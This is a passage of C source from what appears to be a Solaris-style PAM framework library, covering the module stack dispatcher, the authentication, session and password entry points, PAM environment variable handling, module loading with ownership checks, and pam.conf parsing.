exit_return; } success = 1; break; case PAM_TRY_AGAIN: /* * We need to return immediately, and * we shouldn't reset the AUTHTOK item * since it is not an error per-se. */ pamh->pam_inmodule = RW_OK; pam_trace(PAM_DEBUG_MODULE, "[%d:%s]:%s(%p, %x): TRY_AGAIN: %s", pamh->include_depth, pam_trace_cname(pamh), function_name, (void *)pamh, flags, pam_strerror(pamh, required_error ? required_error : err)); err = required_error ? required_error : err; goto exit_return; default: if (modulep->pam_flag & PAM_REQUISITE) { pamh->pam_inmodule = RW_OK; pam_trace(PAM_DEBUG_MODULE, "[%d:%s]:%s(%p, %x): requisite: %s", pamh->include_depth, pam_trace_cname(pamh), function_name, (void *)pamh, flags, pam_strerror(pamh, required_error ? required_error : err)); err = required_error ? required_error : err; goto exit_return; } else if (modulep->pam_flag & PAM_REQRD_BIND) { if (!required_error) required_error = err; } else { if (!optional_error) optional_error = err; } pam_trace(PAM_DEBUG_DEFAULT, "[%d:%s]:%s(%p, %x): error %s", pamh->include_depth, pam_trace_cname(pamh), function_name, (void *)pamh, flags, pam_strerror(pamh, err)); break; } } modulep = modulep->next; } pam_trace(PAM_DEBUG_MODULE, "[%d:%s]:stack_end:%s(%p, %x): %s %s: %s", pamh->include_depth, pam_trace_cname(pamh), function_name, (void *)pamh, flags, pamh->include_depth ? "included" : "final", required_error ? "required" : success ? "success" : optional_error ? "optional" : "default", pam_strerror(pamh, required_error ? required_error : success ? PAM_SUCCESS : optional_error ? optional_error : def_err)); if (pamh->include_depth > 0) { free_pam_conf_info(pamh); pamh->include_depth--; /* continue at next entry */ modulep = pamh->pam_conf_modulep[pamh->include_depth]; pam_trace(PAM_DEBUG_MODULE, "looping for include[%d:%p]", pamh->include_depth, (void *)modulep); goto include; } free_pam_conf_info(pamh); pamh->pam_inmodule = RW_OK; if (required_error != 0) return (required_error); else if (success != 0) return (PAM_SUCCESS); else if (optional_error != 0) return (optional_error); else return (def_err); exit_return: /* * All done at whatever depth we're at. * Go back to not having read /etc/pam.conf */ while (pamh->include_depth > 0) { free_pam_conf_info(pamh); pamh->include_depth--; } free_pam_conf_info(pamh); pamh->pam_inmodule = RW_OK; return (err); } /* * pam_authenticate - authenticate a user */ int pam_authenticate(pam_handle_t *pamh, int flags) { int retval; retval = run_stack(pamh, flags, PAM_AUTH_MODULE, PAM_AUTH_ERR, PAM_AUTHENTICATE, "pam_authenticate"); if (retval != PAM_SUCCESS) (void) pam_set_item(pamh, PAM_AUTHTOK, NULL); return (retval); } /* * pam_setcred - modify or retrieve user credentials */ int pam_setcred(pam_handle_t *pamh, int flags) { int retval; retval = run_stack(pamh, flags, PAM_AUTH_MODULE, PAM_CRED_ERR, PAM_SETCRED, "pam_setcred"); if (retval != PAM_SUCCESS) (void) pam_set_item(pamh, PAM_AUTHTOK, NULL); return (retval); } /* * pam_acct_mgmt - check password aging, account expiration */ int pam_acct_mgmt(pam_handle_t *pamh, int flags) { int retval; retval = run_stack(pamh, flags, PAM_ACCOUNT_MODULE, PAM_ACCT_EXPIRED, PAM_ACCT_MGMT, "pam_acct_mgmt"); if (retval != PAM_SUCCESS && retval != PAM_NEW_AUTHTOK_REQD) { (void) pam_set_item(pamh, PAM_AUTHTOK, NULL); } return (retval); } /* * pam_open_session - begin session management */ int pam_open_session(pam_handle_t *pamh, int flags) { int retval; retval = run_stack(pamh, flags, PAM_SESSION_MODULE, PAM_SESSION_ERR, PAM_OPEN_SESSION, "pam_open_session"); if (retval != PAM_SUCCESS) (void) pam_set_item(pamh, PAM_AUTHTOK, NULL); return (retval); } /* * pam_close_session - terminate session management */ int pam_close_session(pam_handle_t *pamh, int flags) { int retval; retval = run_stack(pamh, flags, PAM_SESSION_MODULE, PAM_SESSION_ERR, PAM_CLOSE_SESSION, "pam_close_session"); if (retval != PAM_SUCCESS) (void) pam_set_item(pamh, PAM_AUTHTOK, NULL); return (retval); } /* * pam_chauthtok - change user authentication token */ int pam_chauthtok(pam_handle_t *pamh, int flags) { int retval; /* do not let apps use PAM_PRELIM_CHECK or PAM_UPDATE_AUTHTOK */ if (flags & (PAM_PRELIM_CHECK | PAM_UPDATE_AUTHTOK)) { pam_trace(PAM_DEBUG_DEFAULT, "pam_chauthtok(%p, %x): %s", (void *)pamh, flags, pam_strerror(pamh, PAM_SYMBOL_ERR)); return (PAM_SYMBOL_ERR); } /* 1st pass: PRELIM CHECK */ retval = run_stack(pamh, flags | PAM_PRELIM_CHECK, PAM_PASSWORD_MODULE, PAM_AUTHTOK_ERR, PAM_CHAUTHTOK, "pam_chauthtok-prelim"); if (retval == PAM_TRY_AGAIN) return (retval); if (retval != PAM_SUCCESS) { (void) pam_set_item(pamh, PAM_AUTHTOK, NULL); return (retval); } /* 2nd pass: UPDATE AUTHTOK */ retval = run_stack(pamh, flags | PAM_UPDATE_AUTHTOK, PAM_PASSWORD_MODULE, PAM_AUTHTOK_ERR, PAM_CHAUTHTOK, "pam_chauthtok-update"); if (retval != PAM_SUCCESS) (void) pam_set_item(pamh, PAM_AUTHTOK, NULL); return (retval); } /* * pam_putenv - add an environment variable to the PAM handle * if name_value == 'NAME=VALUE' then set variable to the value * if name_value == 'NAME=' then set variable to an empty value * if name_value == 'NAME' then delete the variable */ int pam_putenv(pam_handle_t *pamh, const char *name_value) { int error = PAM_SYSTEM_ERR; char *equal_sign = 0; char *name = NULL, *value = NULL, *tmp_value = NULL; env_list *traverse, *trail; pam_trace(PAM_DEBUG_DEFAULT, "pam_putenv(%p, %s)", (void *)pamh, name_value ? name_value : "NULL"); if (pamh == NULL || name_value == NULL) goto out; /* see if we were passed 'NAME=VALUE', 'NAME=', or 'NAME' */ if ((equal_sign = strchr(name_value, '=')) != 0) { if ((name = calloc(equal_sign - name_value + 1, sizeof (char))) == 0) { error = PAM_BUF_ERR; goto out; } (void) strncpy(name, name_value, equal_sign - name_value); if ((value = strdup(++equal_sign)) == 0) { error = PAM_BUF_ERR; goto out; } } else { if ((name = strdup(name_value)) == 0) { error = PAM_BUF_ERR; goto out; } } /* check to see if we already have this variable in the PAM handle */ traverse = pamh->pam_env; trail = traverse; while (traverse && strncmp(traverse->name, name, strlen(name))) { trail = traverse; traverse = traverse->next; } if (traverse) { /* found a match */ if (value == 0) { /* remove the env variable */ if (pamh->pam_env == traverse) pamh->pam_env = traverse->next; else trail->next = traverse->next; free_env(traverse); } else if (strlen(value) == 0) { /* set env variable to empty value */ if ((tmp_value = strdup("")) == 0) { error = PAM_SYSTEM_ERR; goto out; } free(traverse->value); traverse->value = tmp_value; } else { /* set the new value */ if ((tmp_value = strdup(value)) == 0) { error = PAM_SYSTEM_ERR; goto out; } free(traverse->value); traverse->value = tmp_value; } } else if (traverse == 0 && value) { /* * could not find a match in the PAM handle. * add the new value if there is one */ if ((traverse = calloc(1, sizeof (env_list))) == 0) { error = PAM_BUF_ERR; goto out; } if ((traverse->name = strdup(name)) == 0) { free_env(traverse); error = PAM_BUF_ERR; goto out; } if ((traverse->value = strdup(value)) == 0) { free_env(traverse); error = PAM_BUF_ERR; goto out; } if (trail == 0) { /* new head of list */ pamh->pam_env = traverse; } else { /* adding to end of list */ trail->next = traverse; } } error = PAM_SUCCESS; out: if (error != PAM_SUCCESS) { if (traverse) { if (traverse->name) free(traverse->name); if (traverse->value) free(traverse->value); free(traverse); } } if (name) free(name); if (value) free(value); return (error); } /* * pam_getenv - retrieve an environment variable from the PAM handle */ char * pam_getenv(pam_handle_t *pamh, const char *name) { int error = PAM_SYSTEM_ERR; env_list *traverse; pam_trace(PAM_DEBUG_DEFAULT, "pam_getenv(%p, %p)", (void *)pamh, (void *)name); if (pamh == NULL || name == NULL) goto out; /* check to see if we already have this variable in the PAM handle */ traverse = pamh->pam_env; while (traverse && strncmp(traverse->name, name, strlen(name))) { traverse = traverse->next; } error = (traverse ? PAM_SUCCESS : PAM_SYSTEM_ERR); pam_trace(PAM_DEBUG_DEFAULT, "pam_getenv(%p, %s)=%s", (void *)pamh, name, traverse ? traverse->value : "NULL"); out: return (error ? NULL : strdup(traverse->value)); } /* * pam_getenvlist - retrieve all environment variables from the PAM handle * in a NULL terminated array. On error, return NULL. */ char ** pam_getenvlist(pam_handle_t *pamh) { int error = PAM_SYSTEM_ERR; char **list = 0; int length = 0; env_list *traverse; char *tenv; size_t tenv_size; pam_trace(PAM_DEBUG_DEFAULT, "pam_getenvlist(%p)", (void *)pamh); if (pamh == NULL) goto out; /* find out how many environment variables we have */ traverse = pamh->pam_env; while (traverse) { length++; traverse = traverse->next; } /* allocate the array we will return to the caller */ if ((list = calloc(length + 1, sizeof (char *))) == NULL) { error = PAM_BUF_ERR; goto out; } /* add the variables one by one */ length = 0; traverse = pamh->pam_env; while (traverse != NULL) { tenv_size = strlen(traverse->name) + strlen(traverse->value) + 2; /* name=val\0 */ if ((tenv = malloc(tenv_size)) == NULL) { error = PAM_BUF_ERR; goto out; } /*LINTED*/ (void) sprintf(tenv, "%s=%s", traverse->name, traverse->value); list[length++] = tenv; traverse = traverse->next; } list[length] = NULL; error = PAM_SUCCESS; out: if (error != PAM_SUCCESS) { /* free the partially constructed list */ if (list) { length = 0; while (list[length] != NULL) { free(list[length]); length++; } free(list); } } return (error ? NULL : list); } /* * Routines to load a requested module on demand */ /* * load_modules - load the requested module. * if the dlopen or dlsym fail, then * the module is ignored. */ static int load_modules(pam_handle_t *pamh, int type, char *function_name, pamtab_t *pam_entry) { void *mh; struct auth_module *authp; struct account_module *accountp; struct session_module *sessionp; struct password_module *passwdp; int loading_functions = 0; /* are we currently loading functions? */ pam_trace(PAM_DEBUG_MODULE, "load_modules[%d:%s](%p, %s)=%s:%s", pamh->include_depth, pam_trace_cname(pamh), (void *)pamh, function_name, pam_trace_fname(pam_entry->pam_flag), pam_entry->module_path); while (pam_entry != NULL) { pam_trace(PAM_DEBUG_DEFAULT, "while load_modules[%d:%s](%p, %s)=%s", pamh->include_depth, pam_trace_cname(pamh), (void *)pamh, function_name, pam_entry->module_path); if (pam_entry->pam_flag & PAM_INCLUDE) { pam_trace(PAM_DEBUG_DEFAULT, "done load_modules[%d:%s](%p, %s)=%s", pamh->include_depth, pam_trace_cname(pamh), (void *)pamh, function_name, pam_entry->module_path); return (PAM_SUCCESS); } switch (type) { case PAM_AUTH_MODULE: /* if the function has already been loaded, return */ authp = pam_entry->function_ptr; if (!loading_functions && (((strcmp(function_name, PAM_SM_AUTHENTICATE) == 0) && authp && authp->pam_sm_authenticate) || ((strcmp(function_name, PAM_SM_SETCRED) == 0) && authp && authp->pam_sm_setcred))) { return (PAM_SUCCESS); } /* function has not been loaded yet */ loading_functions = 1; if (authp == NULL) { authp = calloc(1, sizeof (struct auth_module)); if (authp == NULL) return (PAM_BUF_ERR); } /* if open_module fails, return error */ if ((mh = open_module(pamh, pam_entry->module_path)) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "load_modules[%d:%s]: can not open module " "%s", pamh->include_depth, pam_trace_cname(pamh), pam_entry->module_path); free(authp); return (PAM_OPEN_ERR); } /* load the authentication function */ if (strcmp(function_name, PAM_SM_AUTHENTICATE) == 0) { if (load_function(mh, PAM_SM_AUTHENTICATE, &authp->pam_sm_authenticate) != PAM_SUCCESS) { /* return error if dlsym fails */ free(authp); return (PAM_SYMBOL_ERR); } /* load the setcred function */ } else if (strcmp(function_name, PAM_SM_SETCRED) == 0) { if (load_function(mh, PAM_SM_SETCRED, &authp->pam_sm_setcred) != PAM_SUCCESS) { /* return error if dlsym fails */ free(authp); return (PAM_SYMBOL_ERR); } } pam_entry->function_ptr = authp; break; case PAM_ACCOUNT_MODULE: accountp = pam_entry->function_ptr; if (!loading_functions && (strcmp(function_name, PAM_SM_ACCT_MGMT) == 0) && accountp && accountp->pam_sm_acct_mgmt) { return (PAM_SUCCESS); } /* * If functions are added to the account module, * verify that one of the other functions hasn't * already loaded it. See PAM_AUTH_MODULE code. */ loading_functions = 1; accountp = calloc(1, sizeof (struct account_module)); if (accountp == NULL) return (PAM_BUF_ERR); /* if open_module fails, return error */ if ((mh = open_module(pamh, pam_entry->module_path)) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "load_modules[%d:%s]: can not open module " "%s", pamh->include_depth, pam_trace_cname(pamh), pam_entry->module_path); free(accountp); return (PAM_OPEN_ERR); } if (load_function(mh, PAM_SM_ACCT_MGMT, &accountp->pam_sm_acct_mgmt) != PAM_SUCCESS) { __pam_log(LOG_AUTH | LOG_ERR, "load_modules[%d:%s]: pam_sm_acct_mgmt() " "missing", pamh->include_depth, pam_trace_cname(pamh)); free(accountp); return (PAM_SYMBOL_ERR); } pam_entry->function_ptr = accountp; break; case PAM_SESSION_MODULE: sessionp = pam_entry->function_ptr; if (!loading_functions && (((strcmp(function_name, PAM_SM_OPEN_SESSION) == 0) && sessionp && sessionp->pam_sm_open_session) || ((strcmp(function_name, PAM_SM_CLOSE_SESSION) == 0) && sessionp && sessionp->pam_sm_close_session))) { return (PAM_SUCCESS); } loading_functions = 1; if (sessionp == NULL) { sessionp = calloc(1, sizeof (struct session_module)); if (sessionp == NULL) return (PAM_BUF_ERR); } /* if open_module fails, return error */ if ((mh = open_module(pamh, pam_entry->module_path)) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "load_modules[%d:%s]: can not open module " "%s", pamh->include_depth, pam_trace_cname(pamh), pam_entry->module_path); free(sessionp); return (PAM_OPEN_ERR); } if ((strcmp(function_name, PAM_SM_OPEN_SESSION) == 0) && load_function(mh, PAM_SM_OPEN_SESSION, &sessionp->pam_sm_open_session) != PAM_SUCCESS) { free(sessionp); return (PAM_SYMBOL_ERR); } else if ((strcmp(function_name, PAM_SM_CLOSE_SESSION) == 0) && load_function(mh, PAM_SM_CLOSE_SESSION, &sessionp->pam_sm_close_session) != PAM_SUCCESS) { free(sessionp); return (PAM_SYMBOL_ERR); } pam_entry->function_ptr = sessionp; break; case PAM_PASSWORD_MODULE: passwdp = pam_entry->function_ptr; if (!loading_functions && (strcmp(function_name, PAM_SM_CHAUTHTOK) == 0) && passwdp && passwdp->pam_sm_chauthtok) { return (PAM_SUCCESS); } /* * If functions are added to the password module, * verify that one of the other functions hasn't * already loaded it. See PAM_AUTH_MODULE code. */ loading_functions = 1; passwdp = calloc(1, sizeof (struct password_module)); if (passwdp == NULL) return (PAM_BUF_ERR); /* if open_module fails, continue */ if ((mh = open_module(pamh, pam_entry->module_path)) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "load_modules[%d:%s]: can not open module " "%s", pamh->include_depth, pam_trace_cname(pamh), pam_entry->module_path); free(passwdp); return (PAM_OPEN_ERR); } if (load_function(mh, PAM_SM_CHAUTHTOK, &passwdp->pam_sm_chauthtok) != PAM_SUCCESS) { free(passwdp); return (PAM_SYMBOL_ERR); } pam_entry->function_ptr = passwdp; break; default: pam_trace(PAM_DEBUG_DEFAULT, "load_modules[%d:%s](%p, %s): unsupported type %d", pamh->include_depth, pam_trace_cname(pamh), (void *)pamh, function_name, type); break; } pam_entry = pam_entry->next; } /* while */ pam_trace(PAM_DEBUG_MODULE, "load_modules[%d:%s](%p, %s)=done", pamh->include_depth, pam_trace_cname(pamh), (void *)pamh, function_name); return (PAM_SUCCESS); } /* * open_module - Open the module first checking for * propers modes and ownerships on the file. */ static void * open_module(pam_handle_t *pamh, char *module_so) { struct stat64 stb; char *errmsg; void *lfd; fd_list *module_fds = 0; fd_list *trail = 0; fd_list *traverse = 0; /* Check the ownership and file modes */ if (stat64(module_so, &stb) < 0) { __pam_log(LOG_AUTH | LOG_ERR, "open_module[%d:%s]: stat(%s) failed: %s", pamh->include_depth, pam_trace_cname(pamh), module_so, strerror(errno)); return (NULL); } if (stb.st_uid != (uid_t)0) { __pam_log(LOG_AUTH | LOG_ALERT, "open_module[%d:%s]: Owner of the module %s is not root", pamh->include_depth, pam_trace_cname(pamh), module_so); return (NULL); } if (stb.st_mode & S_IWGRP) { __pam_log(LOG_AUTH | LOG_ALERT, "open_module[%d:%s]: module %s writable by group", pamh->include_depth, pam_trace_cname(pamh), module_so); return (NULL); } if (stb.st_mode & S_IWOTH) { __pam_log(LOG_AUTH | LOG_ALERT, "open_module[%d:%s]: module %s writable by world", pamh->include_depth, pam_trace_cname(pamh), module_so); return (NULL); } /* * Perform the dlopen() */ lfd = (void *)dlopen(module_so, RTLD_LAZY); if (lfd == NULL) { errmsg = dlerror(); __pam_log(LOG_AUTH | LOG_ERR, "open_module[%d:%s]: %s " "failed: %s", pamh->include_depth, pam_trace_cname(pamh), module_so, errmsg != NULL ? errmsg : "Unknown error"); return (NULL); } else { /* add this fd to the pam handle */ if ((module_fds = calloc(1, sizeof (fd_list))) == 0) { (void) dlclose(lfd); lfd = 0; return (NULL); } module_fds->mh = lfd; if (pamh->fd == 0) { /* adding new head of list */ pamh->fd = module_fds; } else { /* appending to end of list */ traverse = pamh->fd; while (traverse) { trail = traverse; traverse = traverse->next; } trail->next = module_fds; } } return (lfd); } /* * load_function - call dlsym() to resolve the function address */ static int load_function(void *lfd, char *name, int (**func)()) { char *errmsg = NULL; if (lfd == NULL) return (PAM_SYMBOL_ERR); *func = (int (*)())dlsym(lfd, name); if (*func == NULL) { errmsg = dlerror(); __pam_log(LOG_AUTH | LOG_ERR, "dlsym failed %s: error %s", name, errmsg != NULL ? errmsg : "Unknown error"); return (PAM_SYMBOL_ERR); } pam_trace(PAM_DEBUG_DEFAULT, "load_function: successful load of %s", name); return (PAM_SUCCESS); } /* * Routines to read the pam.conf configuration file */ /* * open_pam_conf - open the pam.conf config file */ static int open_pam_conf(struct pam_fh **pam_fh, pam_handle_t *pamh, char *config) { struct stat64 stb; int fd; if ((fd = open(config, O_RDONLY)) == -1) { __pam_log(LOG_AUTH | LOG_ALERT, "open_pam_conf[%d:%s]: open(%s) failed: %s", pamh->include_depth, pam_trace_cname(pamh), config, strerror(errno)); return (0); } /* Check the ownership and file modes */ if (fstat64(fd, &stb) < 0) { __pam_log(LOG_AUTH | LOG_ALERT, "open_pam_conf[%d:%s]: stat(%s) failed: %s", pamh->include_depth, pam_trace_cname(pamh), config, strerror(errno)); (void) close(fd); return (0); } if (stb.st_uid != (uid_t)0) { __pam_log(LOG_AUTH | LOG_ALERT, "open_pam_conf[%d:%s]: Owner of %s is not root", pamh->include_depth, pam_trace_cname(pamh), config); (void) close(fd); return (0); } if (stb.st_mode & S_IWGRP) { __pam_log(LOG_AUTH | LOG_ALERT, "open_pam_conf[%d:%s]: %s writable by group", pamh->include_depth, pam_trace_cname(pamh), config); (void) close(fd); return (0); } if (stb.st_mode & S_IWOTH) { __pam_log(LOG_AUTH | LOG_ALERT, "open_pam_conf[%d:%s]: %s writable by world", pamh->include_depth, pam_trace_cname(pamh), config); (void) close(fd); return (0); } if ((*pam_fh = calloc(1, sizeof (struct pam_fh))) == NULL) { (void) close(fd); return (0); } (*pam_fh)->fconfig = fd; (*pam_fh)->bufsize = (size_t)stb.st_size; if (((*pam_fh)->data = mmap(0, (*pam_fh)->bufsize, PROT_READ, MAP_PRIVATE, (*pam_fh)->fconfig, 0)) == MAP_FAILED) { (void) close(fd); free (*pam_fh); return (0); } (*pam_fh)->bufferp = (*pam_fh)->data; return (1); } /* * close_pam_conf - close pam.conf */ static void close_pam_conf(struct pam_fh *pam_fh) { (void) munmap(pam_fh->data, pam_fh->bufsize); (void) close(pam_fh->fconfig); free(pam_fh); } /* * read_pam_conf - read in each entry in pam.conf and store info * under the pam handle. */ static int read_pam_conf(pam_handle_t *pamh, char *config) { struct pam_fh *pam_fh; pamtab_t *pamentp; pamtab_t *tpament; char *service; int error; int i = pamh->include_depth; /* include depth */ /* * service types: * error (-1), "auth" (0), "account" (1), "session" (2), "password" (3) */ int service_found[PAM_NUM_MODULE_TYPES+1] = {0, 0, 0, 0, 0}; (void) pam_get_item(pamh, PAM_SERVICE, (void **)&service); if (service == NULL || *service == '\0') { __pam_log(LOG_AUTH | LOG_ERR, "No service name"); return (PAM_SYSTEM_ERR); } pamh->pam_conf_name[i] = strdup(config); pam_trace(PAM_DEBUG_CONF, "read_pam_conf[%d:%s](%p) open(%s)", i, pam_trace_cname(pamh), (void *)pamh, config); if (open_pam_conf(&pam_fh, pamh, config) == 0) { return (PAM_SYSTEM_ERR); } while ((error = get_pam_conf_entry(pam_fh, pamh, &pamentp)) == PAM_SUCCESS && pamentp) { /* See if entry is this service and valid */ if (verify_pam_conf(pamentp, service)) { pam_trace(PAM_DEBUG_CONF, "read_pam_conf[%d:%s](%p): bad entry error %s", i, pam_trace_cname(pamh), (void *)pamh, service); error = PAM_SYSTEM_ERR; free_pamconf(pamentp); goto out; } if (strcasecmp(pamentp->pam_service, service) == 0) { pam_trace(PAM_DEBUG_CONF, "read_pam_conf[%d:%s](%p): processing %s", i, pam_trace_cname(pamh), (void *)pamh, service); /* process first service entry */ if (service_found[pamentp->pam_type + 1] == 0) { /* purge "other" entries */ while ((tpament = pamh->pam_conf_info[i] [pamentp->pam_type]) != NULL) { pam_trace(PAM_DEBUG_CONF, "read_pam_conf(%p): purging " "\"other\"[%d:%s][%s]", (void *)pamh, i, pam_trace_cname(pamh), pam_snames[pamentp->pam_type]); pamh->pam_conf_info[i] [pamentp->pam_type] = tpament->next; free_pamconf(tpament); } /* add first service entry */ pam_trace(PAM_DEBUG_CONF, "read_pam_conf(%p): adding 1st " "%s[%d:%s][%s]", (void *)pamh, service, i, pam_trace_cname(pamh), pam_snames[pamentp->pam_type]); pamh->pam_conf_info[i][pamentp->pam_type] = pamentp; service_found[pamentp->pam_type + 1] = 1; } else { /* append more service entries */ pam_trace(PAM_DEBUG_CONF, "read_pam_conf(%p): adding more " "%s[%d:%s][%s]", (void *)pamh, service, i, pam_trace_cname(pamh), pam_snames[pamentp->pam_type]); tpament = pamh->pam_conf_info[i][pamentp->pam_type]; while (tpament->next != NULL) { tpament = tpament->next; } tpament->next = pamentp; } } else if (service_found[pamentp->pam_type + 1] == 0) { /* See if "other" entry available and valid */ if (verify_pam_conf(pamentp, "other")) { pam_trace(PAM_DEBUG_CONF, "read_pam_conf(%p): bad entry error %s " "\"other\"[%d:%s]", (void *)pamh, service, i, pam_trace_cname(pamh)); error = PAM_SYSTEM_ERR; free_pamconf(pamentp); goto out; } if (strcasecmp(pamentp->pam_service, "other") == 0) { pam_trace(PAM_DEBUG_CONF, "read_pam_conf(%p): processing " "\"other\"[%d:%s]", (void *)pamh, i, pam_trace_cname(pamh)); if ((tpament = pamh->pam_conf_info[i] [pamentp->pam_type]) == NULL) { /* add first "other" entry */ pam_trace(PAM_DEBUG_CONF, "read_pam_conf(%p): adding 1st " "other[%d:%s][%s]", (void *)pamh, i, pam_trace_cname(pamh), pam_snames[pamentp->pam_type]); pamh->pam_conf_info[i] [pamentp->pam_type] = pamentp; } else { /* append more "other" entries */ pam_trace(PAM_DEBUG_CONF, "read_pam_conf(%p): adding more " "other[%d:%s][%s]", (void *)pamh, i, pam_trace_cname(pamh), pam_snames[pamentp->pam_type]); while (tpament->next != NULL) { tpament = tpament->next; } tpament->next = pamentp; } } else { /* irrelevant entry */ free_pamconf(pamentp); } } else { /* irrelevant entry */ free_pamconf(pamentp); } } out: (void) close_pam_conf(pam_fh); if (error != PAM_SUCCESS) free_pam_conf_info(pamh); return (error); } /* * get_pam_conf_entry - get a pam.conf entry */ static int get_pam_conf_entry(struct pam_fh *pam_fh, pam_handle_t *pamh, pamtab_t **pam) { char *cp, *arg; int argc; char *tmp, *tmp_free; int i; char *current_line = NULL; int error = PAM_SYSTEM_ERR; /* preset to error */ int err; /* get the next line from pam.conf */ if ((cp = nextline(pam_fh, pamh, &err)) == NULL) { /* no more lines in pam.conf ==> return */ error = PAM_SUCCESS; *pam = NULL; goto out; } if ((*pam = calloc(1, sizeof (pamtab_t))) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "strdup: out of memory"); goto out; } /* copy full line for error reporting */ if ((current_line = strdup(cp)) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "strdup: out of memory"); goto out; } pam_trace(PAM_DEBUG_CONF, "pam.conf[%s] entry:\t%s", pam_trace_cname(pamh), current_line); /* get service name (e.g. login, su, passwd) */ if ((arg = read_next_token(&cp)) == 0) { __pam_log(LOG_AUTH | LOG_CRIT, "illegal pam.conf[%s] entry: %s: missing SERVICE NAME", pam_trace_cname(pamh), current_line); goto out; } if (((*pam)->pam_service = strdup(arg)) == 0) { __pam_log(LOG_AUTH | LOG_ERR, "strdup: out of memory"); goto out; } /* get module type (e.g. authentication, acct mgmt) */ if ((arg = read_next_token(&cp)) == 0) { __pam_log(LOG_AUTH | LOG_CRIT, "illegal pam.conf[%s] entry: %s: missing MODULE TYPE", pam_trace_cname(pamh), current_line); (*pam)->pam_type = -1; /* 0 is a valid value */ goto getflag; } if (strcasecmp(arg, PAM_AUTH_NAME) == 0) { (*pam)->pam_type = PAM_AUTH_MODULE; } else if (strcasecmp(arg, PAM_ACCOUNT_NAME) == 0) { (*pam)->pam_type = PAM_ACCOUNT_MODULE; } else if (strcasecmp(arg, PAM_SESSION_NAME) == 0) { (*pam)->pam_type = PAM_SESSION_MODULE; } else if (strcasecmp(arg, PAM_PASSWORD_NAME) == 0) { (*pam)->pam_type = PAM_PASSWORD_MODULE; } else { /* error */ __pam_log(LOG_AUTH | LOG_CRIT, "illegal pam.conf[%s] entry: %s: invalid module " "type: %s", pam_trace_cname(pamh), current_line, arg); (*pam)->pam_type = -1; /* 0 is a valid value */ } getflag: /* get pam flag (e.g., requisite, required, sufficient, optional) */ if ((arg = read_next_token(&cp)) == 0) { __pam_log(LOG_AUTH | LOG_CRIT, "illegal pam.conf[%s] entry: %s: missing CONTROL FLAG", pam_trace_cname(pamh), current_line); goto getpath; } if (strcasecmp(arg, PAM_BINDING_NAME) == 0) { (*pam)->pam_flag = PAM_BINDING; } else if (strcasecmp(arg, PAM_INCLUDE_NAME) == 0) { (*pam)->pam_flag = PAM_INCLUDE; } else if (strcasecmp(arg, PAM_OPTIONAL_NAME) == 0) { (*pam)->pam_flag = PAM_OPTIONAL; } else if (strcasecmp(arg, PAM_REQUIRED_NAME) == 0) { (*pam)->pam_flag = PAM_REQUIRED; } else if (strcasecmp(arg, PAM_REQUISITE_NAME) == 0) { (*pam)->pam_flag = PAM_REQUISITE; } else if (strcasecmp(arg, PAM_SUFFICIENT_NAME) == 0) { (*pam)->pam_flag = PAM_SUFFICIENT; } else { /* error */ __pam_log(LOG_AUTH | LOG_CRIT, "illegal pam.conf[%s] entry: %s", pam_trace_cname(pamh), current_line); __pam_log(LOG_AUTH | LOG_CRIT, "\tinvalid control flag: %s", arg); } getpath: /* get module path (e.g. /usr/lib/security/pam_unix_auth.so.1) */ if ((arg = read_next_token(&cp)) == 0) { __pam_log(LOG_AUTH | LOG_CRIT, "illegal pam.conf[%s] entry: %s: missing MODULE PATH", pam_trace_cname(pamh), current_line); error = PAM_SUCCESS; /* success */ goto out; } if (arg[0] != '/') { size_t len; /* * If module path does not start with "/", then * prepend PAM_LIB_DIR (/usr/lib/security/). */ /* sizeof (PAM_LIB_DIR) has room for '\0' */ len = sizeof (PAM_LIB_DIR) + sizeof (PAM_ISA_DIR) + strlen(arg); if (((*pam)->module_path = malloc(len)) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "strdup: out of memory"); goto out; } if ((*pam)->pam_flag & PAM_INCLUDE) { (void) snprintf((*pam)->module_path, len, "%s%s", PAM_LIB_DIR, arg); } else { (void) snprintf((*pam)->module_path, len, "%s%s%s", PAM_LIB_DIR, PAM_ISA_DIR, arg); } } else { /* Full path provided for module */ char *isa; /* Check for Instruction Set Architecture indicator */ if ((isa = strstr(arg, PAM_ISA)) != NULL) { size_t len; len = strlen(arg) - (sizeof (PAM_ISA)-1) + sizeof (PAM_ISA_DIR); /* substitute the architecture dependent path */ if (((*pam)->module_path = malloc(len)) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "strdup: out of memory"); goto out; } *isa = '\000'; isa += strlen(PAM_ISA); (void) snprintf((*pam)->module_path, len, "%s%s%s", arg, PAM_ISA_DIR, isa); } else if (((*pam)->module_path = strdup(arg)) == 0) { __pam_log(LOG_AUTH | LOG_ERR, "strdup: out of memory"); goto out; } } /* count the number of module-specific options first */ argc = 0; if ((tmp = strdup(cp)) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "strdup: out of memory"); goto out; } tmp_free = tmp; for (arg = read_next_token(&tmp); arg; arg = read_next_token(&tmp)) argc++; free(tmp_free); /* allocate array for the module-specific options */ if (argc > 0) { if (((*pam)->module_argv = calloc(argc+1, sizeof (char *))) == 0) { __pam_log(LOG_AUTH | LOG_ERR, "calloc: out of memory"); goto out; } i = 0; for (arg = read_next_token(&cp); arg; arg = read_next_token(&cp)) { (*pam)->module_argv[i] = strdup(arg); if ((*pam)->module_argv[i] == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "strdup failed"); goto out; } i++; } (*pam)->module_argv[argc] = NULL; } (*pam)->module_argc = argc; error = PAM_SUCCESS; /* success */ (*pam)->pam_err = err; /* was the line truncated */ out: if (current_line) free(current_line); if (error != PAM_SUCCESS) { /* on error free this */ if (*pam) free_pamconf(*pam); } return (error); } /* * read_next_token - skip tab and space characters and return the next token */ static char * read_next_token(char **cpp) { register char *cp = *cpp; char *start; if (cp == (char *)0) { *cpp = (char *)0; return ((char *)0); } while (*cp == ' ' || *cp == '\t') cp++; if (*cp == '\0') { *cpp = (char *)0; return ((char *)0); } start = cp; while (*cp && *cp != ' ' && *cp != '\t') cp++; if (*cp != '\0') *cp++ = '\0'; *cpp = cp; return (start); } static char * pam_conf_strnchr(char *sp, int c, intptr_t count) { while (count) { if (*sp == (char)c) return ((char *)sp); else { sp++; count--; } }; return (NULL); } /* * nextline - skip all blank lines and comments 